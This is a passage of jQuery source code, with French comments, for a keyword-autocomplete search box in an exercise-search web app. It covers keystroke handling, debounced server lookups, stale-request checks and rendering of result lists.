iFocusId).addClass('focus');\n\t\t\t//on change le input box avec le contenu du LI\n\t\t\t//this.setInputBoxText(oParams, $('#lisr' + iFocusId).text(), true);\n\t\t\t//this.setInputBoxText(oParams, $('#lisr' + iFocusId).attr('keyword-word'), true);\n\t\t\tthis.setInputBoxText(oParams, $('#' + this.baseDivId + ' ' + '#lisr' + iFocusId).attr('keyword-word'), true);\n\t\t\t//on set les KWids focused\n\t\t\t//this.setFocusedKwIds($('#lisr' + iFocusId).attr('keyword-ids'), $('#lisr' + iFocusId).attr('keyword-word'));\n\t\t\tthis.setFocusedKwIds($('#' + this.baseDivId + ' ' + '#lisr' + iFocusId).attr('keyword-ids'), $('#' + this.baseDivId + ' ' + '#lisr' + iFocusId).attr('keyword-word'));\n\t\t\t//on set l'attribut\n\t\t\t$(strUlListingRef).attr('focus-id', iFocusId);\n\t\t\t//on va loader un preview timer si reste longtemps dessus\n\t\t\tif(this.bEnableExercisePreview){\n\t\t\t\tthis.timerFetchExercisePreview = setTimeout(this.fetchExercisePreviewWithDelay.bind(this, oParams, this.getFocusedKwIds(), iFocusId), this.timePreviewDelay);\n\t\t\t\t}\n\t\t\t}\n\t\t//\n\t\t};\n\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.fetchAutoCompleteDataWithDelay = function(str, params){\n\t\tthis.debug('fetchAutoCompleteDataWithDelay()', str, params);\n\t\t//la derniere string que l,on a chercher \n\t\t//pour eviter de recommencer la recherche\n\t\t//on va stripper les multiple space en un seul\n\t\t//var le serveur le fait pour les retours\n\t\t//si on trouve des multiples espaces les remplacer\t\n\t\t/*\n\t\tif(str.match(/\\s+/g)){\n\t\t\tstr = str.replace(/[\\s]+/g, ' ');\t\n\t\t\t//on change la value dans le input box\n\t\t\tthis.setInputBoxText(params, str, false);\t\t\n\t\t\t}\n\t\t*/\n\t\t//on va aller chercher les case de kwtype qu'il a coche qui se limit a trois\n\t\t//la string des case coche\n\t\tvar strKwType = '';\n\t\t//lop dans nos 3 choix\n\t\tfor(var i=0; i<3; i++){\n\t\t\t//ref de jquery object\t\n\t\t\tvar refCheckBox = $('#' + this.baseKwTypeNameInput + i);\n\t\t\tif(refCheckBox.is(':checked')){\n\t\t\t\tstrKwType += refCheckBox.val() + ',';\n\t\t\t\t}\n\t\t\t}\n\t\t//minor check\n\t\tif(strKwType != ''){\t\n\t\t\t//on strip la last virgule\t\n\t\t\tstrKwType = strKwType.substr(0, (strKwType.length - 1));\n\t\t}else{\n\t\t\t//value by default is keyword only\n\t\t\tstrKwType = '1';\n\t\t\t}\n\t\t//on flag comme quoi on n'a pas de resultat encore du autocomplete\n\t\tthis.bHaveAutoCompleteResult = false;\n\t\t//on flag comme quoi on na pas de match encore\n\t\tthis.bFoundAutoCompleteMatch = false;\n\t\t//on rest le array des dernier resultat du autocomplete pour les hint\n\t\tthis.arrLastHintResult = [];\n\t\t//pour le meme resultat\n\t\tthis.setLastSearchString(str);\n\t\t//on envoi la requete au serveur\n\t\tthis.lastAutoCompletePid.exercice = this.mainAppz.jsearch.fetchAutoCompleteData(str, params, strKwType);\n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\t\n\tthis.fetchAutoCompleteData = function(evnt, str, params){\n\t\tthis.debug('fetchAutoCompleteData()', evnt, str, params);\n\t\t//on arrete le timer si il y en avait un car la requete est nouvelle et l,autre n'est plus valide\n\t\tclearTimeout(this.timerFetchAutoComplete);\n\t\t//on stop le timer de fetch preview exercise car plus valide\n\t\tclearTimeout(this.timerFetchExercisePreview);\n\t\t//on reset le pid du preview\n\t\tthis.lastExercisePreviewPid = 0;\n\t\t//les event poru lesquelle on ne fera rien genre : <SHIFT + LEFT_ARROW> etc...\n\t\tif(this.arrRefusedEvent.indexOf(evnt.which) !== -1){\n\t\t\t//on sort\n\t\t\treturn;\n\t\t\t}\n\t\t//si c'est le <esc> on ferme le autocomplete\n\t\tif(evnt.which == '27'){ \n\t\t\tthis.hideAutoComplete();\n\t\t\treturn;\n\t\t\t}\t\n\t\t//on va stripper les multiple space en un seul\n\t\t//var le serveur le fait pour les retours\n\t\t//si on trouve des multiples espaces les remplacer\t\n\t\t//BUG creer un fuck sur le carret\n\t\t/*\n\t\tif(str.match(/\\s+/g)){\n\t\t\tstr = str.replace(/[\\s]+/g, ' ');\t\n\t\t\t//on change la value dans le input box\n\t\t\tthis.setInputBoxText(params, str, false);\t\t\n\t\t\t}\n\t\t*/\n\t\t//si le premier chars est un space alors on recule le input de 1\n\t\tif(str.charAt(0) === ' '){\n\t\t\t//on recule et no change le input box\n\t\t\tthis.setInputBoxText(params, this.trimStringBeginning(str), false);\n\t\t\t//on place le cursor au debut\n\t\t\tthis.setCarretRange(params, 0, 0);\n\t\t\t//on sort pas vraiment besoin car doit faire la recherche avec ce qui reste\n\t\t\t//return;\n\t\t\t}\n\t\t//on trim les avant et apres spaces\n\t\t//this.debug('STRING:\"' + str + '\"');\t\n\t\tstr = str.trim();\n\t\t//this.debug('STRING.TRIMMED:\"' + str + '\"');\t\t\n\t\t//si c'est un <SPACE> avant une lettre alors ne sera pas bon car le input-bg va etre deplace\n\t\t//alors on remet le cursor au debut et on efface le input et input-bg\n\t\tif(evnt.which == '32'){ \n\t\t\t//check si vide alors on retourne au debut de la string\n\t\t\tif(str == ''){\n\t\t\t\tthis.setInputBoxText(params, '', true);\n\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t\n\t\t//les autres chars\n\t\tif(evnt.which != '13'){ \n\t\t\t//dans le cas un c'est un debut avec char mais pas autre char apres ex: \"ab \" et que l,on a deja chercher pour \"ab\" alors on annule le search ou si c,est la meme recherche avec un backspace sur des espace <space>\n\t\t\tif(str == this.getLastSearchString() && (evnt.which != '38' && evnt.which != '40')){\n\t\t\t\treturn;\n\t\t\t\t}\t\n\t\t\t//on reset le -bg\n\t\t\tthis.setInputBgBoxText(params, '');\n\t\t\t//on check pour les <ARROW> et autres touche\n\t\t\tif(evnt.which == '38'){ \n\t\t\t\t//GO UP\n\t\t\t\tthis.changeLiFocus('up', params);\n\t\t\t}else if(evnt.which == '40'){ \n\t\t\t\t//GO DOWN\n\t\t\t\tthis.changeLiFocus('down', params);\n\t\t\t}else{\n\t\t\t\t//enleve le autocomplete en dessous car la string n,est plus la meme\n\t\t\t\t//on va eviter le flickering de quand il la reconstruit\n\t\t\t\t//sinon on va la remetre\t\n\t\t\t\t//this.resetSingleAutoComplete(params);\t\n\t\t\t\t//\t\n\t\t\t\t//a chaque chars qu'il tape on va mettre le premier choix dans le input du BG\n\t\t\t\t//si pas vide faire la recherche\n\t\t\t\tif(str != '' && str.length >= this.minStrLen){\n\t\t\t\t\t//mettre en minuscule\n\t\t\t\t\tstr = this.mainAppz.jutils.toLower(str);\n\t\t\t\t\t//on va fetcher le data\n\t\t\t\t\t//mais on va laisser un delai car peu taper tres vite (comme yves haha!) et \n\t\t\t\t\t//ca ne sert a rien d'aller chercher tout si il rajoute d'autre truc apres\n\t\t\t\t\t//on start un autre timer avec la nouvelle requete\n\t\t\t\t\tthis.timerFetchAutoComplete = setTimeout(this.fetchAutoCompleteDataWithDelay.bind(this, str, params), this.timeDelay);\n\t\t\t\t}else{\n\t\t\t\t\t//on enle le result vu que lon a plus rien a chercher\n\t\t\t\t\tthis.resetSingleAutoComplete(params);\t\t\n\t\t\t\t\t//on reset le last search car le autocomplete est disparue et si retappe la meme recherche\n\t\t\t\t\t//il n'ira pas la fetcher\n\t\t\t\t\tthis.setLastSearchString('');\n\t\t\t\t\t//on reset le pid car peut arriver qu'il soit long vu\n\t\t\t\t\t//EX: \"ab\" -> abduction\n\t\t\t\t\t// tape vite 2 backspace\n\t\t\t\t\t// 1. il va chercher le \"a\" -> retourne abduction\n\t\t\t\t\t// 2. la case de input est redu vide avec les 2 backspace\n\t\t\t\t\t// 3. le retour du \"a\" arrive, mais le input est vide alors propose un choix pas rapport\n\t\t\t\t\tthis.resetPid();\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\n\t\t}else{ //press <ENTER>\n\t\t\t//pas etre vide\n\t\t\tif(str != '' && str.length >= this.minStrLen){\n\t\t\t\t//le bloolean du fetch\n\t\t\t\tvar bFetch = true;\n\t\t\t\t//check si vide\n\t\t\t\tif(this.getFocusedKwIds() == ''){\n\t\t\t\t\tbFetch = false;\n\t\t\t\t}else{\n\t\t\t\t\t//on change le input box avec le contenu de recherche word\n\t\t\t\t\t//car peut-etre que les KwId sont setter mais pas le current word\t\n\t\t\t\t\tthis.setInputBoxText(params, this.getCurrentWord(params), true);\n\t\t\t\t\t}\n\t\t\t\t//est-ce que l'on fait une recherche texte\n\t\t\t\t//CAS 1.lusager a un autocomplete result\n\t\t\t\t//\t\tmais veux rechercher les mot qu'il a tape quand meme\n\t\t\t\t//\t\tsans faire de choix dans le autocomplete\n\t\t\t\t//CAS 2.lusager na aucun result dans le autocomplete\n\t\t\t\t//\t\tmais veux quand meme lancer sa recherche avec \n\t\t\t\t//\t\tles mots tapes, mais on sait en avance quil naura \n\t\t\t\t//\t\taucun retour, car le autocomplete tiens ses resultats\n\t\t\t\t//\t\tdes titres et keywords, si na rien trouver, il ne trouvera\n\t\t\t\t//\t\tpas plus, alors on lui dit que ce quil a tape est soumis\n\t\t\t\t//\t\ta notre equipe qui fera un analyse des mots tapes\n\t\t\t\t//\t\ta savoir si il le rajouteront ou si cetait\n\t\t\t\t//\t\test une erreur de frapper\n\t\t\t\t//CAS 3.lusager lance la recherche avec le mot propose directement\n\t\t\t\t//\t\tdans sa case de input (le pluis rapide et facile )\n\t\t\t\t//fetch le listing d'exercice en rapport avec les keyword ids\n\t\t\t\t//si il y en avait\n\t\t\t\tif(bFetch){\n\t\t\t\t\tif(this.mainAppz.jsearch.getExerciceListingByKeywordIds(this.getFocusedKwIds(), this.getCurrentWord(params))){\n\t\t\t\t\t\t//hide the form\n\t\t\t\t\t\tthis.mainAppz.resetSearchWindowResult(this.getCurrentWord(params), true);\n\t\t\t\t\t\t//on eneleve le autocomplete car on a quelque chose a chercher\n\t\t\t\t\t\tthis.resetSingleAutoComplete(params);\n\t\t\t\t\t\t//\n\t\t\t\t\t\tthis.setLastSearchString(this.getCurrentWord(params));\t\n\t\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\t//il ne veut rien savoir des mots du autocomplete\n\t\t\t\t\t//alors on lance une recherche text au serveur \n\t\t\t\t\t//au lieu de lui balancer des kwids\n\t\t\t\t\tif(this.bHaveAutoCompleteResult){\n\t\t\t\t\t\t//si on a trouve aucun match dans le autcomplete\n\t\t\t\t\t\t//cest que on lui a proposer des choix permuter\n\t\t\t\t\t\t//pour corriger ses fautes de frappe\n\t\t\t\t\t\t//si il envoit la recherche elle ne trouvera rien\n\t\t\t\t\t\t//vu que lon cherche deja dans les title et keywords\n\t\t\t\t\t\t//alors on lui lance le msg de submit\t\t\n\t\t\t\t\t\tif(this.bFoundAutoCompleteMatch){\n\t\t\t\t\t\t\tthis.debug('RECHERCHE TEXTE: ' + this.getLastSearchString());\n\t\t\t\t\t\t\tif(this.mainAppz.jsearch.getExerciceListingByWords(this.getLastSearchString())){\n\t\t\t\t\t\t\t\t//hide the form\n\t\t\t\t\t\t\t\tthis.mainAppz.resetSearchWindowResult(this.getLastSearchString(), false);\n\t\t\t\t\t\t\t\t//on eneleve le autocomplete car on a quelque chose a chercher\n\t\t\t\t\t\t\t\tthis.resetSingleAutoComplete(params);\n\t\t\t\t\t\t\t\t}\t\n\t\t\t\t\t\t}else{\n\t\t\t\t\t\t\t//on lui dit que son mot est soumis a notre equipe\t\n\t\t\t\t\t\t\tthis.sendingWordToOurTeamForValidation(params);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t}else{\n\t\t\t\t\t\t//si on navait aucun retour dans le autocomplete alors \n\t\t\t\t\t\t//on lui dit que son mot est soumis a notre equipe\t\n\t\t\t\t\t\tthis.sendingWordToOurTeamForValidation(params);\n\t\t\t\t\t\t}\n\t\t\t\t\n\t\t\t\t\t}\n\t\t\t\t//on reset le last search car le autocomplete est disparue et si retappe la meme recherche\n\t\t\t\t//il n'ira pas la fetcher\n\t\t\t\t//this.setLastSearchString('');\n\t\t\t\t//reset le pid car la case est vide alors meme si il y a un retour ce n'est pas le bon\n\t\t\t\tthis.resetPid();\n\t\t\t\t}\n\t\t\t}\n\t\t};\n\n\t\n\t//----------------------------------------------------------------------------------------------------------------------*\n\t/*\n\tPARAMS:\n\t\t.input:'input-search',\n\t\t.layer:'main-input',\n\t\t.type:'exercise', \n\t\t.position:'under',\n\t\t\n\t*/\n\tthis.fetchAutoCompleteDataRFS = function(obj, params, word, kwtype, cleanword, pid){\n\t\tthis.debug('fetchAutoCompleteDataRFS()', obj, params, word, kwtype, cleanword, pid);\n\t\t// obj = le array de retour avec les mots\n\t\t// params = l'object input\n\t\t// word = le last typed word\t\n\t\t// pid le last process id de la recherche de autocomplete\n\n\t\t//check si le pid est le dernier, car certain resultat arrive plus tard que la derniere demande\n\t\tif(this.lastAutoCompletePid.exercice != pid){\n\t\t\t//rien a faire\n\t\t\treturn;\n\t\t\t}\n\t\t//\n\t\tvar bContinue = true;\n\t\t//check pour les erreurs si il y a, mais on ne faitr rien avec pour l'instant\n\t\tif(typeof(obj) == 'object'){\n\t\t\tif(typeof(obj.error) != 'undefined'){\n\t\t\t\tbContinue = false;\n\t\t\t\t}\n\t\t\t}\n\t\t//continue or not\n\t\tif(bContinue && params.refinput.is(':focus')){\n\t\t\t//num rows, cest a dire le nombre de kwtype au moins 1 au minimum\n\t\t\tvar iNumKwType = Object.keys(obj).length;\n\t\t\t//on va voir si on a plus que un kwtype sinon on affiche normal\n\t\t\t//sans de titre en plus\n\t\t\tvar iNumRows = 0;\n\t\t\tif(iNumKwType == 1){\n\t\t\t\t//alors on deoit trouver le premier kw unique \n\t\t\t\t//car pourrait etre envoye 1,2,3\n\t\t\t\t//mais uniquement 2 pourrait avoir des retours\n\t\t\t\tfor(var o in obj){\n\t\t\t\t\tobj = obj[o];\t\n\t\t\t\t\tbreak;\n\t\t\t\t\t}\n\t\t\t\tiNumRows = Object.keys(obj).length;\t\n\t\t\t\t//va continuer plus loin dans le code\n\t\t\t}else if(iNumKwType > 1){\n\t\t\t\t//on va passer a une fonctione pour gerer tout ca pour l'instant le temps que \n\t\t\t\t//le prototype soit accepte\n\t\t\t\tthis.fetchAutoCompleteDataRFS_extend2(obj, params, word, kwtype, cleanword);\n\t\t\t\t//la finction va prendre en charge le reste\n\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t//si a un resultat\n\t\t\tif(iNumRows > 0){\n\t\t\t\tthis.bHaveAutoCompleteResult = true;\n\t\t\t\t//si on doit reset le bg hint, etc...\n\t\t\t\tvar bResetHint = false;\n\t\t\t\t//on garde le premier choix que l,on va proposer dans le input-bg en gris\n\t\t\t\tif(typeof(obj[0].name) == 'string'){\n\t\t\t\t\t// si le debut du mot correspond\n\t\t\t\t\tif(obj[0].name.indexOf(word) === 0){\n\t\t\t\t\t\t//le premier LI\t\n\t\t\t\t\t\t//si on le garde cest ce qui sera lance\n\t\t\t\t\t\tthis.setFirstLiWord(obj[0].name);\n\t\t\t\t\t\t//set le input-bg\n\t\t\t\t\t\tthis.setInputBgBoxText(params, this.getFirstLiWord());\n\t\t\t\t\t\t//on efface les kwids l'usager ne l' pas choisi de lui meme\n\t\t\t\t\t\tthis.setFocusedKwIds('', '');\n\t\t\t\t\t}else{\n\t\t\t\t\t\tbResetHint = true;\n\t\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\tbResetHint = true;\n\t\t\t\t\t}\n\t\t\t\tvar arrWords = cleanword.split(' ');\n\t\t\t\tif(typeof(arrWords) != 'object'){\n\t\t\t\t\tarrWords = [];\n\t\t\t\t\t}\n\t\t\t\t//get la position du serach box\n\t\t\t\tvar iCmpt = 1;\n\t\t\t\t//var bHint = false;\n\t\t\t\tvar data = '<UL class=\"listing\" focus-id=\"0\" focus-id-max=\"' + iNumRows + '\">';\n\t\t\t\tvar bFoundMatch = false;\n\t\t\t\t//loop data\n\t\t\t\tfor(var o in obj){\n\t\t\t\t\tif(typeof(obj[o].name) == 'string' && (typeof(obj[o].id) == 'string' || typeof(obj[o].id) == 'number')){\n\t\t\t\t\t\t//on garde des resultat pour des hint dans la \n\t\t\t\t\t\t//proposition a lusager lors de aucun result\n\t\t\t\t\t\tthis.arrLastHintResult.push(obj[o].name);\n\t\t\t\t\t\t//change to blue hint if word substr is found in the text\n\t\t\t\t\t\tvar strLiText = obj[o].name;\n\t\t\t\t\t\t//var arrNameWords = obj[o].name.split(' ');\n\t\t\t\t\t\tvar strMatch = '';\n\t\t\t\t\t\tfor(var p in arrWords){\n\t\t\t\t\t\t\tstrMatch += '^' + arrWords[p] + '|[ ]{1}' + arrWords[p] + '|'; \n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t//strip last pipe\n\t\t\t\t\t\tif(strMatch != ''){\n\t\t\t\t\t\t\tstrMatch = strMatch.substr(0, (strMatch.length - 1));\n\t\t\t\t\t\t\tstrLiText = strLiText.replace(new RegExp(strMatch, 'gi'), function(m){\n\t\t\t\t\t\t\t\tbFoundMatch = true;\n\t\t\t\t\t\t\t\treturn '<span class=\"hint\">' + m + '</span>';\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t//Le <LI>\n\t\t\t\t\t\tdata += '<LI keyword-ids=\"' + obj[o].id + '\" keyword-word=\"' + obj[o].name + '\" keyword-type =\"' + kwtype + '\" class=\"single-result\" preview-loaded=\"0\" li-pos=\"' + iCmpt + '\" id=\"lisr' + iCmpt + '\"><DIV class=\"mclick\" keyword-ids=\"' + obj[o].id + '\" keyword-word=\"' + obj[o].name + '\" keyword-type =\"' + kwtype + '\" li-pos=\"' + iCmpt + '\">' + strLiText + '</DIV></LI>'; //0=id, 1=name\n\t\t\t\t\t\t//increment\n\t\t\t\t\t\tiCmpt++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\tdata += '</UL>';\n\t\t\t\t//si ion ne trouve pas de hint\n\t\t\t\tif(bResetHint){\n\t\t\t\t\t//set le input-bg\n\t\t\t\t\tthis.setInputBgBoxText(params, '');\n\t\t\t\t\t//le premier LI\t\n\t\t\t\t\tthis.setFirstLiWord('');\n\t\t\t\t\t//on set les KWids focused\n\t\t\t\t\tthis.setFocusedKwIds('', '');\n\t\t\t\t\t}\n\t\t\t\t//flasg de match pour quand il appui enter quand meme\n\t\t\t\t//car peut etre un permutation de lettre \n\t\t\t\tif(bFoundMatch){\n\t\t\t\t\tthis.bFoundAutoCompleteMatch = true;\t\n\t\t\t\t\t}\n\t\t\t\t//on ajoute le data\n\t\t\t\t$('#' + this.baseDivId).html(data);\n\t\t\t\t//on show\t\n\t\t\t\t$('#' + this.baseDivId).css({'display':'block'});\t\n\t\t\t\t//on keep du data\n\t\t\t\t$('#' + this.baseDivId + ' .single-result > .mclick').data('params', params);\n\t\t\t\t$('#' + this.baseDivId + ' .single-result > .mclick').data('uid', this.uid);\n\t\t\t\t//si enabled\n\t\t\t\tif(this.bEnableMouseOver){\n\t\t\t\t\t//le mouse over du li pour ouvrir exercice\n\t\t\t\t\t$('#' + this.baseDivId + ' .single-result > .mclick').mouseover(function(e){\n\t\t\t\t\t\t//get parent class\n\t\t\t\t\t\tvar oTmp = $(document).data('jappzclass-' + $(this).data('uid')) ;\n\t\t\t\t\t\tif(typeof(oTmp) == 'object'){\n\t\t\t\t\t\t\t//on stop le timer de fetch preview exercise\n\t\t\t\t\t\t\tclearTimeout(oTmp.jautocomplete.timerFetchExercisePreview);\n\t\t\t\t\t\t\t//on reset le pid du preview\n\t\t\t\t\t\t\toTmp.jautocomplete.lastExercisePreviewPid = 0;\n\t\t\t\t\t\t\t//on set les KWids focused\n\t\t\t\t\t\t\toTmp.jautocomplete.setFocusedKwIds($(this).attr('keyword-ids'), $(this).attr('keyword-word'));\n\t\t\t\t\t\t\t//on va loader un preview timer si reste longtemps dessus\n\t\t\t\t\t\t\tif(oTmp.jautocomplete.bEnableExercisePreview){\n\t\t\t\t\t\t\t\toTmp.jautocomplete.timerFetchExercisePreview = setTimeout(oTmp.jautocomplete.fetchExercisePreviewWithDelay.bind(oTmp.jautocomplete, $(this).data('params'), oTmp.jautocomplete.getFocusedKwIds(), $(this).attr('li-pos')), oTmp.jautocomplete.timePreviewDelay);\n\t\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t//le mouse out\n\t\t\t\t\t$('#' + this.baseDivId + ' .single-result > .mclick').mouseout(function(e){\n\t\t\t\t\t\t//get parent class\n\t\t\t\t\t\tvar oTmp = $(document).data('jappzclass-' + $(this).data('uid'));\n\t\t\t\t\t\tif(typeof(oTmp) == 'object'){\n\t\t\t\t\t\t\t//on stop le timer de fetch preview exercise\n\t\t\t\t\t\t\tclearTimeout(oTmp.jautocomplete.timerFetchExercisePreview);\n\t\t\t\t\t\t\t//on reset le pid du preview\n\t\t\t\t\t\t\toTmp.jautocomplete.lastExercisePreviewPid = 0;\n\t\t\t\t\t\t\t//le focus one\n\t\t\t\t\t\t\tvar iFocusId = $(this).attr('li-pos');\n\t\t\t\t\t\t\t//remove le UL\n\t\t\t\t\t\t\t//$('#lisr' + iFocusId + ' > UL.exercises').css({'display':'none'});\n\t\t\t\t\t\t\t$('#' + oTmp.baseDivId + ' ' + '#lisr' + iFocusId + ' > UL.exercises').css({'display':'none'});\n\t\t\t\t\t\t\t//check si avait deja un preview de loader = 1\n\t\t\t\t\t\t\t//si oui setter le status a 2 pour eviter de \n\t\t\t\t\t\t\t//reloader pour rien la prochaine fois\n\t\t\t\t\t\t\t//if($('#lisr' + iFocusId).attr('preview-loaded') == '1'){\t\n\t\t\t\t\t\t\tif($('#' + oTmp.baseDivId + ' ' + '#lisr' + iFocusId).attr('preview-loaded') == '1'){\t\n\t\t\t\t\t\t\t\t//set l'attribute a non loaded\n\t\t\t\t\t\t\t\t//$('#lisr' + iFocusId).attr('preview-loaded', '2');\n\t\t\t\t\t\t\t\t$('#' + oTmp.baseDivId + ' ' + '#lisr' + iFocusId).attr('preview-loaded', '2');\n\t\t\t\t\t\t\t\t}\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t});\n\t\t\t\t\t}\t\t\n\t\t\t\t//on met un listener pour le click sur les resultats\t\t\n\t\t\t\t$('#' + this.baseDivId + ' .single-result > .mclick').click(function(e){\n\t\t\t\t\te.preventDefault();\n\t\t\t\t\t//get parent class\n\t\t\t\t\tvar oTmp = $(document).data('jappzclass-' + $(this).data('uid'));\n\t\t\t\t\tif(typeof(oTmp) == 'object'){\n\t\t\t\t\t\tvar keywordIds = $(this).attr('keyword-ids');\n\t\t\t\t\t\tvar keywordWord = $(this).attr('keyword-word');\n\t\t\t\t\t\tvar params = $(this).data('params');\n\t\t\t\t\t\toTmp.debug(params.input + ' -> Clicked');\n\t\t\t\t\t\t//set le input et nput-bg\n\t\t\t\t\t\toTmp.jautocomplete.setInputBoxText(params, keywordWord, true);\n\t\t\t\t\t\t//set le focus sur input\n\t\t\t\t\t\tparams.refinput.focus();\n\t\t\t\t\t\t//set les keywords ids focused\n\t\t\t\t\t\toTmp.jautocomplete.setFocusedKwIds(keywordIds, keywordWord);\n\t\t\t\t\t\t//fetch le listing d'exercice en rapport avec les keyword ids\n\t\t\t\t\t\tif(oTmp.jsearch.getExerciceListingByKeywordIds(oTmp.jautocomplete.getFocusedKwIds(), oTmp.jautocomplete.getCurrentWord(params))){\n\t\t\t\t\t\t\t//hide the form\n\t\t\t\t\t\t\toTmp.resetSearchWindowResult(oTmp.jautocomplete.getCurrentWord(params), true);\n\t\t\t\t\t\t\t//\n\t\t\t\t\t\t\toTmp.jautocomplete.setLastSearchString(oTmp.jautocomplete.getCurrentWord(params));\t\t\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t//on eneleve le autocomplete\n\t\t\t\t\t\toTmp.jautocomplete.resetSingleAutoComplete(params);\n\t\t\t\t\t\t}\n\t\t\t\t\t});\n\t\t\t\t//on quitte\n\t\t\t\treturn;\n\t\t\t}else{\n\t\t\t\t//pas de resultat alors on enleve le li et les focused kw ids\n\t\t\t\tthis.setFirstLiWord('');\n\t\t\t\tthis.setFocusedKwIds('', '');\n\t\t\t\t//on nettoie le input box bg\n\t\t\t\tthis.setInputBgBoxText(params, '');\n\t\t\t\t//on dit que lon a rien\n\t\t\t\tvar data = '<UL class=\"listing\" focus-id=\"0\" focus-id-max=\"0\"><LI class=\"single-result-title\">' + this.jlang.t('no result') + '</LI></UL>'; \n\t\t\t\t//on ajoute le data\n\t\t\t\t$('#' + this.baseDivId).html(data);\n\t\t\t\t//on show\t\n\t\t\t\t$('#' + this.baseDivId).css({'display':'block'});\n\t\t\t\t//on sen va byebye!\n\t\t\t\treturn;\n\t\t\t\t}\n\t\t\t}\n\t\t//si on est la alors pas besoin on remove\n\t\tthis.resetSingleAutoComplete(params); \n\t\t};\n\n\t//----------------------------------------------------------------------------------------------------------------------*\n\tthis.fetchAutoCompleteDataRFS_extend2 = function(obj, params, word, kwtype, cleanword){\n\t\tthis.debug('fetchAutoCompleteDataRFS_extend2()', obj, params, word, kwtype, cleanword);\n\t\t// obj = le array de retour avec les mots\n\t\t// params = l'object input\n\t\t// word = le last typed word\t\n\t\t//si on doit reset le bg hint, etc...\n\t\tvar bResetHint = true;\n\t\t//le word plitter pour trouver le reste\n\t\tvar arrWords = cleanword.split(' ');\n\t\tif(typeof(arrWords) != 'object'){\n\t\t\tarrWords = [];\n\t\t\t}\n\t\t//pour la position du search box\n\t\tvar iCmpt = 1;\n\t\t//le total de rows\n\t\tvar iNumTotalRows = 0; \n\t\t//le contenu a l'interieur du UL listing\n\t\tvar strDataContent = ''; \n\t\t//si on doit reset le bg hint, etc...\n\t\tvar bResetHint = false;\n\t\t//on loop dans les kwtype\n\t\tfor(var kw in obj){\t\n\t\t\t//les numrow dun kwtype\n\t\t\tvar iNumRows = Object.keys(obj[kw]).length;\n\t\t\t//si a un resultat\n\t\t\tif(iNumRows > 0){\n\t\t\t\t//total de rows en tout\n\t\t\t\tiNumTotalRows += iNumRows;\n\t\t\t\t//\n\t\t\t\tthis.bHaveAutoCompleteResult = true;\n\t\t\t\t//on garde le premier choix que l,on va proposer dans le input-bg en gris\n\t\t\t\tif(typeof(obj[kw][0].name) == 'string' && kw == '1'){\n\t\t\t\t\t// si le debut du mot correspond\n\t\t\t\t\tif(obj[kw][0].name.indexOf(word) === 0){\n\t\t\t\t\t\t//le premier LI\t\n\t\t\t\t\t\t//si on le garde cest ce qui sera lance\n\t\t\t\t\t\tthis.setFirstLiWord(obj[kw][0].name);\n\t\t\t\t\t\t//set le input-bg\n\t\t\t\t\t\tthis.setInputBgBoxText(params, this.getFirstLiWord());\n\t\t\t\t\t\t//on set les KWids focused\n\t\t\t\t\t\t//on efface car on ne lance pas automatique ment de recherche\n\t\t\t\t\t\tthis.setFocusedKwIds('', '');\n\t\t\t\t\t}else{\n\t\t\t\t\t\tbResetHint = true;\n\t\t\t\t\t\t}\n\t\t\t\t}else{\n\t\t\t\t\tbResetHint = true;\n\t\t\t\t\t}\n\t\t\t\t//on ajoute le titre du type de recherche\n\t\t\t\tstrDataContent += '<LI class=\"single-result-title\">' + this.jlang.t(this.arrKwType[kw]) + '</LI>'; //0=id, 1=name\n\t\t\t\t//loop data pour les li\n\t\t\t\tvar bFoundMatch = false;\n\t\t\t\t//loop data\n\t\t\t\tfor(var o in obj[kw]){\n\t\t\t\t\tif(typeof(obj[kw][o].name) == 'string' && (typeof(obj[kw][o].id) == 'string' || typeof(obj[kw][o].id) == 'number')){\n\t\t\t\t\t\t//on garde des resultat pour des hint dans la \n\t\t\t\t\t\t//proposition a lusager lors de aucun result\n\t\t\t\t\t\tthis.arrLastHintResult.push(obj[kw][o].name);\n\t\t\t\t\t\t//change to blue hint if word substr is found in the text\n\t\t\t\t\t\tvar strLiText = obj[kw][o].name;\n\t\t\t\t\t\t//var arrNameWords = obj[o].name.split(' ');\n\t\t\t\t\t\tvar strMatch = '';\n\t\t\t\t\t\tfor(var p in arrWords){\n\t\t\t\t\t\t\tstrMatch += '^' + arrWords[p] + '|[ ]{1}' + arrWords[p] + '|'; \n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t//strip last pipe\n\t\t\t\t\t\tif(strMatch != ''){\n\t\t\t\t\t\t\tstrMatch = strMatch.substr(0, (strMatch.length - 1));\n\t\t\t\t\t\t\tstrLiText = strLiText.replace(new RegExp(strMatch, 'gi'), function(m){\n\t\t\t\t\t\t\t\tbFoundMatch = true;\n\t\t\t\t\t\t\t\treturn '<span class=\"hint\">' + m + '</span>';\n\t\t\t\t\t\t\t\t});\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t//Le <LI>\n\t\t\t\t\t\tstrDataContent += '<LI keyword-ids=\"' + obj[kw][o].id + '\" keyword-word=\"' + obj[kw][o].name + '\" keyword-type =\"' + kw + '\" class=\"single-result\" preview-loaded=\"0\" li-pos=\"' + iCmpt + '\" id=\"lisr' + iCmpt + '\"><DIV class=\"mclick\" keyword-ids=\"' + obj[kw][o].id + '\" keyword-word=\"' + obj[kw][o].name + '\" keyword-type =\"' + kw + '\" li-pos=\"' + iCmpt + '\">' + strLiText + '</DIV></LI>'; //0=id, 1=name\n\t\t\t\t\t\t//increment\n\t\t\t\t\t\tiCmpt++;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t//si ion ne trouve pas de hint\n\t\tif(bResetHint){\n\t\t\t//set le 